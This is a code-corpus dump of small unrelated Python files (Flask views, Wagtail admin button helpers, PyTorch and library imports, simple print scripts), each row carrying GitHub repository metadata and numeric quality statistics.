2f52864aed577d11ecd1c48136fe50360d33145f | 282 | py | Python | test/colors.py | askpatrickw/micropython-stubber | ccd73538dde8a5da77b89aba79c0d7a076e5eecd | [
"MIT"
] | null | null | null | test/colors.py | askpatrickw/micropython-stubber | ccd73538dde8a5da77b89aba79c0d7a076e5eecd | [
"MIT"
] | null | null | null | test/colors.py | askpatrickw/micropython-stubber | ccd73538dde8a5da77b89aba79c0d7a076e5eecd | [
"MIT"
] | null | null | null | print("The below white on grey text is readable when executed Python, but not in the Pymakr REPL")
print("\x1b[1;47m", end = '')
print("This white on grey text is readable when executed Python, but not in the Pymakr REPL")
print("\x1b[0m")
print("Back to normal grey on black text") | 56.4 | 98 | 0.734043 | 51 | 282 | 4.058824 | 0.529412 | 0.067633 | 0.10628 | 0.144928 | 0.695652 | 0.695652 | 0.695652 | 0.695652 | 0.695652 | 0.695652 | 0 | 0.02521 | 0.156028 | 282 | 5 | 99 | 56.4 | 0.844538 | 0 | 0 | 0 | 0 | 0 | 0.787986 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 5 |
2f5310665cef3c4c8c5dab7b16aa17c279d3fce4 | 157 | py | Python | venv/Lib/site-packages/numpy/distutils/info.py | unbun/snake.ai | 0c017357608dc7c06af0ca3ca57d870641461207 | [
"MIT"
] | 6,989 | 2017-07-18T06:23:18.000Z | 2022-03-31T15:58:36.000Z | venv/lib/python3.7/site-packages/numpy/distutils/info.py | John1001Song/Big-Data-Robo-Adviser | 9444dce96954c546333d5aecc92a06c3bfd19aa5 | [
"MIT"
] | 1,978 | 2017-07-18T09:17:58.000Z | 2022-03-31T14:28:43.000Z | venv/lib/python3.7/site-packages/numpy/distutils/info.py | John1001Song/Big-Data-Robo-Adviser | 9444dce96954c546333d5aecc92a06c3bfd19aa5 | [
"MIT"
] | 1,228 | 2017-07-18T09:03:13.000Z | 2022-03-29T05:57:40.000Z | """
Enhanced distutils with Fortran compilers support and more.
"""
from __future__ import division, absolute_import, print_function
postpone_import = True
| 22.428571 | 64 | 0.808917 | 19 | 157 | 6.315789 | 0.894737 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.127389 | 157 | 6 | 65 | 26.166667 | 0.875912 | 0.375796 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 1 | 0 | 1 | 0.5 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 1 | 0 | 5 |
2f89aa35aeb4b35ace3f2ffea5042b14d6adc753 | 34 | py | Python | tests/test_reordering.py | stevedwards/strong-graphs | b509dc68fa4ce5c07664ba84e5f8dbf1888d4f8e | [
"MIT"
] | 1 | 2020-07-16T03:26:07.000Z | 2020-07-16T03:26:07.000Z | tests/test_reordering.py | stevedwards/strong-graphs | b509dc68fa4ce5c07664ba84e5f8dbf1888d4f8e | [
"MIT"
] | 10 | 2020-07-15T06:07:59.000Z | 2020-07-17T01:02:59.000Z | tests/test_reordering.py | stevedwards/strong-graphs | b509dc68fa4ce5c07664ba84e5f8dbf1888d4f8e | [
"MIT"
] | 1 | 2020-07-16T05:38:38.000Z | 2020-07-16T05:38:38.000Z | import pytest
import hypothesis
| 6.8 | 17 | 0.823529 | 4 | 34 | 7 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.176471 | 34 | 4 | 18 | 8.5 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
85e797113dde26f05bda2c92c785fd1832f51ef2 | 429 | py | Python | app/views.py | jacburge/StarfireTaiChi | c3e795afbbae40e2e634b5429e5fd68891ac8e70 | [
"Apache-2.0"
] | null | null | null | app/views.py | jacburge/StarfireTaiChi | c3e795afbbae40e2e634b5429e5fd68891ac8e70 | [
"Apache-2.0"
] | null | null | null | app/views.py | jacburge/StarfireTaiChi | c3e795afbbae40e2e634b5429e5fd68891ac8e70 | [
"Apache-2.0"
] | null | null | null | from app import app
from flask import render_template
@app.route('/')
def index():
return render_template('index.html')
@app.route('/about/')
def about():
return render_template('about.html')
@app.route('/schedule/')
def schedule():
return render_template('schedule.html')
@app.route('/news/')
def news():
return render_template('news.html')
@app.route('/retreat/')
def retreat():
return render_template('retreat.html') | 19.5 | 40 | 0.717949 | 58 | 429 | 5.206897 | 0.258621 | 0.278146 | 0.331126 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.097902 | 429 | 22 | 41 | 19.5 | 0.780362 | 0 | 0 | 0 | 0 | 0 | 0.202326 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.294118 | true | 0 | 0.117647 | 0.294118 | 0.705882 | 0 | 0 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 5 |
85ee86ea25be25d8ef68d09db1d58f5583388040 | 138 | py | Python | hellow.py | KingsPython/Kings | e5808f42842f47eb712bd044946b6aa16c43a272 | [
"Apache-2.0"
] | null | null | null | hellow.py | KingsPython/Kings | e5808f42842f47eb712bd044946b6aa16c43a272 | [
"Apache-2.0"
] | null | null | null | hellow.py | KingsPython/Kings | e5808f42842f47eb712bd044946b6aa16c43a272 | [
"Apache-2.0"
] | null | null | null | import random
a = random.randrange(1,10)
print(a*a)
print("我是小天才")
print("我是来捣乱的")
print("德玛西亚万岁")
print("我是来捣乱的")
print("德玛西亚万岁") | 8.625 | 26 | 0.666667 | 20 | 138 | 4.6 | 0.5 | 0.23913 | 0.347826 | 0.478261 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.025 | 0.130435 | 138 | 16 | 27 | 8.625 | 0.741667 | 0 | 0 | 0.5 | 0 | 0 | 0.208633 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.125 | 0 | 0.125 | 0.75 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 5 |
85f869d64302ba1a2b93dd5997e9c6930915a2db | 74 | py | Python | aiozk/recipes/__init__.py | ex-tipsi/aiozk-backup | 20e765fcf33ede1d25ac63bee74adb7259bbc75e | [
"MIT"
] | 22 | 2019-08-21T11:39:21.000Z | 2021-08-18T11:21:23.000Z | aiozk/recipes/__init__.py | ex-tipsi/aiozk-backup | 20e765fcf33ede1d25ac63bee74adb7259bbc75e | [
"MIT"
] | 44 | 2019-08-12T08:39:57.000Z | 2021-10-08T19:38:46.000Z | aiozk/recipes/__init__.py | ex-tipsi/aiozk-backup | 20e765fcf33ede1d25ac63bee74adb7259bbc75e | [
"MIT"
] | 15 | 2017-01-13T12:19:54.000Z | 2019-06-10T22:38:28.000Z | from .recipe import Recipe # noqa
from .proxy import RecipeProxy # noqa
| 24.666667 | 38 | 0.756757 | 10 | 74 | 5.6 | 0.6 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.189189 | 74 | 2 | 39 | 37 | 0.933333 | 0.121622 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
c80d7c42b93b5fb32c2aa9b9cbb1e4120ca6b57f | 4,986 | py | Python | assistant/products/helpers.py | kapiak/ware_prod | ae61256890834c434d2e38cc2ccacf00b638665a | [
"MIT"
] | null | null | null | assistant/products/helpers.py | kapiak/ware_prod | ae61256890834c434d2e38cc2ccacf00b638665a | [
"MIT"
] | null | null | null | assistant/products/helpers.py | kapiak/ware_prod | ae61256890834c434d2e38cc2ccacf00b638665a | [
"MIT"
] | null | null | null | from django.urls import reverse
from django.utils.translation import gettext_lazy as _
from wagtail.contrib.modeladmin.helpers import ButtonHelper
class ProductButtonHelper(ButtonHelper):
# Define classes for our button, here we can set an icon for example
orders_button_classnames = [
"button-small",
"icon",
"icon-list-ul",
"orders-button",
]
purchase_button_classnames = ["button-small", "icon", "icon-repeat"]
allocate_button_classnames = [
"button-small",
"icon",
"icon-link",
"purchase-button",
]
def orders_button(self, obj):
# Define a label for our button
return {
"url": reverse(
"products:product_orders_modal_workflow", kwargs={"guid": obj.guid},
), # decide where the button links to
"label": _("Orders"),
"classname": self.finalise_classname(self.orders_button_classnames),
"title": _("Orders"),
"id": obj.guid,
}
def purchase_button(self, obj):
# Define a label for our button
return {
"url": reverse(
"products:make_product_purchase", kwargs={"guid": obj.guid}
), # decide where the button links to
"label": _("Purchase"),
"classname": self.finalise_classname(self.purchase_button_classnames),
"title": _("Purchase"),
"id": obj.guid,
}
def allocate_button(self, obj):
# Define a label for our button
return {
"url": "/", # decide where the button links to
"label": _("Allocate"),
"classname": self.finalise_classname(self.allocate_button_classnames),
"title": _("Allocate"),
"id": obj.guid,
}
def get_buttons_for_obj(
self, obj, exclude=None, classnames_add=None, classnames_exclude=None
):
"""
This function is used to gather all available buttons.
We append our custom button to the btns list.
"""
btns = super().get_buttons_for_obj(
obj, exclude, classnames_add, classnames_exclude
)
if "orders" not in (exclude or []):
btns.append(self.orders_button(obj))
if "purchase" not in (exclude or []):
btns.append(self.purchase_button(obj))
if "allocate" not in (exclude or []):
btns.append(self.allocate_button(obj))
return btns
class ProductVariantButtonHelper(ButtonHelper):
allocate_button_classnames = [
"button-small",
"icon",
"icon-link",
"allocate-button",
]
purchase_button_classnames = [
"button-small",
"icon",
"icon-repeat",
"purchase-button",
]
receive_button_classnames = [
"button-small",
"icon",
"icon-repeat",
"receive-button",
]
def purchase_button(self, obj):
# Define a label for our button
return {
"url": reverse(
"products:make_product_purchase", kwargs={"guid": obj.guid}
), # decide where the button links to
"label": _("Purchase"),
"classname": self.finalise_classname(self.purchase_button_classnames),
"title": _("Purchase"),
"id": obj.guid,
}
def allocate_button(self, obj):
# Define a label for our button
return {
"url": reverse(
"products:allocate_product_to_order",
kwargs={"guid": obj.guid}, # decide where the button links to
),
"label": _("Allocate"),
"classname": self.finalise_classname(self.allocate_button_classnames),
"title": _("Allocate"),
"id": obj.guid,
}
def receive_button(self, obj):
# Define a label for our button
return {
"url": reverse(
"products:receive_product_stock",
kwargs={"guid": obj.guid}, # decide where the button links to
),
"label": _("Receive"),
"classname": self.finalise_classname(self.receive_button_classnames),
"title": _("Receive"),
"id": obj.guid,
}
def get_buttons_for_obj(
self, obj, exclude=None, classnames_add=None, classnames_exclude=None
):
"""
This function is used to gather all available buttons.
We append our custom button to the btns list.
"""
btns = super().get_buttons_for_obj(
obj, exclude, classnames_add, classnames_exclude
)
if "purchase" not in (exclude or []):
btns.append(self.purchase_button(obj))
if "receive" not in (exclude or []):
btns.append(self.receive_button(obj))
if "allocate" not in (exclude or []):
btns.append(self.allocate_button(obj))
return btns
| 32.376623 | 84 | 0.561572 | 515 | 4,986 | 5.266019 | 0.165049 | 0.070796 | 0.030973 | 0.059735 | 0.801254 | 0.77618 | 0.763274 | 0.727507 | 0.692847 | 0.652286 | 0 | 0 | 0.324709 | 4,986 | 153 | 85 | 32.588235 | 0.805465 | 0.129763 | 0 | 0.655738 | 0 | 0 | 0.162523 | 0.037993 | 0 | 0 | 0 | 0 | 0 | 1 | 0.065574 | false | 0 | 0.02459 | 0.04918 | 0.221311 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
c8576243f7c6497256e66df1b3a82578086d2c44 | 157 | py | Python | ensembler/activations/Cos.py | brandongk-ubco/ensembler | 9d4ab1a07f686eee8b5a4e721a6acc44da3ef94d | [
"MIT"
] | null | null | null | ensembler/activations/Cos.py | brandongk-ubco/ensembler | 9d4ab1a07f686eee8b5a4e721a6acc44da3ef94d | [
"MIT"
] | null | null | null | ensembler/activations/Cos.py | brandongk-ubco/ensembler | 9d4ab1a07f686eee8b5a4e721a6acc44da3ef94d | [
"MIT"
] | null | null | null | import torch
from torch import nn
class Cos(nn.Module):
def forward(self, input: torch.Tensor) -> torch.Tensor:
return input - torch.cos(input) | 22.428571 | 59 | 0.694268 | 23 | 157 | 4.73913 | 0.565217 | 0.183486 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.197452 | 157 | 7 | 60 | 22.428571 | 0.865079 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0 | 0.4 | 0.2 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 5 |
c07302a84b7fa6aec93bae9f5d50da291e7f3386 | 823 | py | Python | returns/pointfree/__init__.py | nurumaik/returns | 7e2058162192b532cdf0243a3463bdd508077bde | [
"BSD-2-Clause"
] | null | null | null | returns/pointfree/__init__.py | nurumaik/returns | 7e2058162192b532cdf0243a3463bdd508077bde | [
"BSD-2-Clause"
] | null | null | null | returns/pointfree/__init__.py | nurumaik/returns | 7e2058162192b532cdf0243a3463bdd508077bde | [
"BSD-2-Clause"
] | null | null | null | from returns.pointfree.apply import apply as apply
from returns.pointfree.bind import bind as bind
from returns.pointfree.bind_context import bind_context as bind_context
from returns.pointfree.bind_context import bind_context2 as bind_context2
from returns.pointfree.bind_context import bind_context3 as bind_context3
from returns.pointfree.bind_io import bind_io as bind_io
from returns.pointfree.bind_ioresult import bind_ioresult as bind_ioresult
from returns.pointfree.bind_result import bind_result as bind_result
from returns.pointfree.map import map_ as map_
from returns.pointfree.modify_env import modify_env as modify_env
from returns.pointfree.modify_env import modify_env2 as modify_env2
from returns.pointfree.modify_env import modify_env3 as modify_env3
from returns.pointfree.rescue import rescue as rescue
| 58.785714 | 74 | 0.873633 | 131 | 823 | 5.267176 | 0.145038 | 0.207246 | 0.376812 | 0.243478 | 0.356522 | 0.356522 | 0.356522 | 0 | 0 | 0 | 0 | 0.010738 | 0.094775 | 823 | 13 | 75 | 63.307692 | 0.915436 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
c080ccef92ecc4ea9ea29493b58e9ecf2e315232 | 302 | py | Python | forward_prop.py | liqianxi/House-Board-Number-Classifier-Using-CNN | 67504223f589f88c0d363ae3b672b0b8da5c50a7 | [
"MIT"
] | null | null | null | forward_prop.py | liqianxi/House-Board-Number-Classifier-Using-CNN | 67504223f589f88c0d363ae3b672b0b8da5c50a7 | [
"MIT"
] | null | null | null | forward_prop.py | liqianxi/House-Board-Number-Classifier-Using-CNN | 67504223f589f88c0d363ae3b672b0b8da5c50a7 | [
"MIT"
] | null | null | null | from scipy.io import loadmat
from tensorflow.keras.models import Sequential
from tensorflow.keras.layers import Dense, Conv2D, Flatten, Dropout, MaxPooling2D
from tensorflow.keras.preprocessing.image import ImageDataGenerator
import os
import numpy as np
import matplotlib.pyplot as plt
import utility | 37.75 | 81 | 0.850993 | 41 | 302 | 6.268293 | 0.634146 | 0.163424 | 0.22179 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.007407 | 0.10596 | 302 | 8 | 82 | 37.75 | 0.944444 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
c08751026476e56a7336fbec304550800c200f47 | 80 | py | Python | 04/01/class_method/fromtimestamp.py | pylangstudy/201709 | 53d868786d7327a83bfa7f4149549c6f9855a6c6 | [
"CC0-1.0"
] | null | null | null | 04/01/class_method/fromtimestamp.py | pylangstudy/201709 | 53d868786d7327a83bfa7f4149549c6f9855a6c6 | [
"CC0-1.0"
] | 32 | 2017-09-01T00:52:17.000Z | 2017-10-01T00:30:02.000Z | 04/01/class_method/fromtimestamp.py | pylangstudy/201709 | 53d868786d7327a83bfa7f4149549c6f9855a6c6 | [
"CC0-1.0"
] | null | null | null | import datetime
import time
print(datetime.datetime.fromtimestamp(time.time()))
| 20 | 51 | 0.825 | 10 | 80 | 6.6 | 0.5 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.0625 | 80 | 3 | 52 | 26.666667 | 0.88 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.666667 | 0 | 0.666667 | 0.333333 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
c087c8fc0cc62cc3ec1cec88ab198ab6f900c03d | 133 | py | Python | cup_project/pipeline_processing.py | MthBr/kg_embedding_for_medical_booking_data | 1a44ad1f51e9d39766ed93fcdf26ce4c757cc130 | [
"MIT"
] | null | null | null | cup_project/pipeline_processing.py | MthBr/kg_embedding_for_medical_booking_data | 1a44ad1f51e9d39766ed93fcdf26ce4c757cc130 | [
"MIT"
] | null | null | null | cup_project/pipeline_processing.py | MthBr/kg_embedding_for_medical_booking_data | 1a44ad1f51e9d39766ed93fcdf26ce4c757cc130 | [
"MIT"
] | null | null | null | from cup_project.data_exp import exploration
from cup_project.etl import etl
from cup_project.feature_eng import build_features
| 14.777778 | 50 | 0.849624 | 21 | 133 | 5.095238 | 0.571429 | 0.196262 | 0.392523 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.12782 | 133 | 8 | 51 | 16.625 | 0.922414 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
8d0998db1ef06dbef60bec41fab42c5654be1fc4 | 192 | py | Python | Cap_4/ex4.5.py | gguilherme42/Livro-de-Python | 465a509d50476fd1a87239c71ed741639d58418b | [
"MIT"
] | 4 | 2020-04-07T00:38:46.000Z | 2022-03-10T03:34:42.000Z | Cap_4/ex4.5.py | gguilherme42/Livro-de-Python | 465a509d50476fd1a87239c71ed741639d58418b | [
"MIT"
] | null | null | null | Cap_4/ex4.5.py | gguilherme42/Livro-de-Python | 465a509d50476fd1a87239c71ed741639d58418b | [
"MIT"
] | 1 | 2021-04-22T02:45:38.000Z | 2021-04-22T02:45:38.000Z | idade = int(input('Digite a idade do seu carro: '))
print('Seu carro é novo!' if 0 < idade <= 3 else 'Seu carro é velho!')
# Obs: se digitar um valor negativo, retornará: 'seu carro é velho!'
| 48 | 70 | 0.677083 | 34 | 192 | 3.823529 | 0.676471 | 0.246154 | 0.207692 | 0.215385 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.012821 | 0.1875 | 192 | 3 | 71 | 64 | 0.820513 | 0.34375 | 0 | 0 | 0 | 0 | 0.516129 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.5 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 5 |
8d0dfbc13d318850622db968f11da53c3be693b8 | 28 | py | Python | maplewrapper/__init__.py | vinmorel/MapleWrapper | 449472407b08979e38c66ccd5d2c17d790a007d0 | [
"MIT"
] | 16 | 2020-10-03T03:21:35.000Z | 2022-01-27T03:19:16.000Z | maplewrapper/__init__.py | vinmorel/MapleWrapper | 449472407b08979e38c66ccd5d2c17d790a007d0 | [
"MIT"
] | 1 | 2022-01-02T16:28:36.000Z | 2022-02-01T14:28:30.000Z | maplewrapper/__init__.py | vinmorel/MapleWrapper | 449472407b08979e38c66ccd5d2c17d790a007d0 | [
"MIT"
] | 6 | 2020-09-19T17:37:10.000Z | 2021-11-12T07:29:56.000Z | from .Wrapper import wrapper | 28 | 28 | 0.857143 | 4 | 28 | 6 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.107143 | 28 | 1 | 28 | 28 | 0.96 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
2390855d6451430e5c183bdc3a5cad8ade56e77b | 330 | py | Python | jarm/exceptions/exceptions.py | PaloAltoNetworks/pyjarm | ecf16e1ca339ab7cfc3d5f9efa11b93f528a3097 | [
"0BSD"
] | 26 | 2021-01-16T13:16:32.000Z | 2022-03-29T07:45:09.000Z | jarm/exceptions/exceptions.py | PaloAltoNetworks/pyjarm | ecf16e1ca339ab7cfc3d5f9efa11b93f528a3097 | [
"0BSD"
] | 4 | 2021-01-29T09:28:43.000Z | 2021-05-29T15:16:57.000Z | jarm/exceptions/exceptions.py | PaloAltoNetworks/pyjarm | ecf16e1ca339ab7cfc3d5f9efa11b93f528a3097 | [
"0BSD"
] | 5 | 2021-01-15T17:09:28.000Z | 2021-10-16T19:17:33.000Z | class PyJARMException(Exception):
pass
class PyJARMUnsupportValueException(PyJARMException):
pass
class PyJARMUnexpectedException(PyJARMException):
pass
class PyJARMInvalidTarget(PyJARMException):
pass
class PyJARMInvalidProxy(PyJARMException):
pass
class PyJARMProxyError(PyJARMException):
pass
| 14.347826 | 53 | 0.787879 | 24 | 330 | 10.833333 | 0.375 | 0.173077 | 0.369231 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.157576 | 330 | 22 | 54 | 15 | 0.935252 | 0 | 0 | 0.5 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.5 | 0 | 0 | 0.5 | 0 | 1 | 0 | 1 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 5 |
9b211728575a766fd07968b7e0396c75276f07c0 | 196 | py | Python | projects/admin.py | Carolwanzuu/The_Awwward | 37e4a49bd15e5db320d1940aac346fd1bb939113 | [
"MIT"
] | null | null | null | projects/admin.py | Carolwanzuu/The_Awwward | 37e4a49bd15e5db320d1940aac346fd1bb939113 | [
"MIT"
] | null | null | null | projects/admin.py | Carolwanzuu/The_Awwward | 37e4a49bd15e5db320d1940aac346fd1bb939113 | [
"MIT"
] | null | null | null | from django.contrib import admin
from .models import Profiles, Projects,Review
# Register your models here.
admin.site.register(Profiles)
admin.site.register(Projects)
admin.site.register(Review) | 28 | 45 | 0.821429 | 27 | 196 | 5.962963 | 0.481481 | 0.167702 | 0.31677 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.086735 | 196 | 7 | 46 | 28 | 0.899441 | 0.132653 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.4 | 0 | 0.4 | 0 | 1 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
f1c68aba9bebadf04ac815c6c5cfdc0836dfbafc | 81 | py | Python | sage/__init__.py | jjanizek/sage | fc55d45ea857811df3618177382668d02af72fa7 | [
"MIT"
] | null | null | null | sage/__init__.py | jjanizek/sage | fc55d45ea857811df3618177382668d02af72fa7 | [
"MIT"
] | null | null | null | sage/__init__.py | jjanizek/sage | fc55d45ea857811df3618177382668d02af72fa7 | [
"MIT"
] | null | null | null | from sage import utils
from .samplers import PermutationSampler, IteratedSampler
| 27 | 57 | 0.864198 | 9 | 81 | 7.777778 | 0.777778 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.111111 | 81 | 2 | 58 | 40.5 | 0.972222 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
f1d44a2a1c553c629a461b7a8433d543f605b941 | 82 | py | Python | 1 - Estrutura sequencial/01.py | OdairRos/Exercicios-Wiki-Python | df5aa31713ae6dcab1b4e273a21549696293e85c | [
"MIT"
] | 1 | 2021-05-14T01:29:29.000Z | 2021-05-14T01:29:29.000Z | 1 - Estrutura sequencial/01.py | OdairRos/Exercicios-Wiki-Python | df5aa31713ae6dcab1b4e273a21549696293e85c | [
"MIT"
] | null | null | null | 1 - Estrutura sequencial/01.py | OdairRos/Exercicios-Wiki-Python | df5aa31713ae6dcab1b4e273a21549696293e85c | [
"MIT"
] | null | null | null | #Faça um Programa que mostre a mensagem Alo mundo na tela
print("Alo mundo");
| 20.5 | 58 | 0.719512 | 14 | 82 | 4.214286 | 0.857143 | 0.271186 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.207317 | 82 | 3 | 59 | 27.333333 | 0.907692 | 0.682927 | 0 | 0 | 0 | 0 | 0.409091 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 5 |
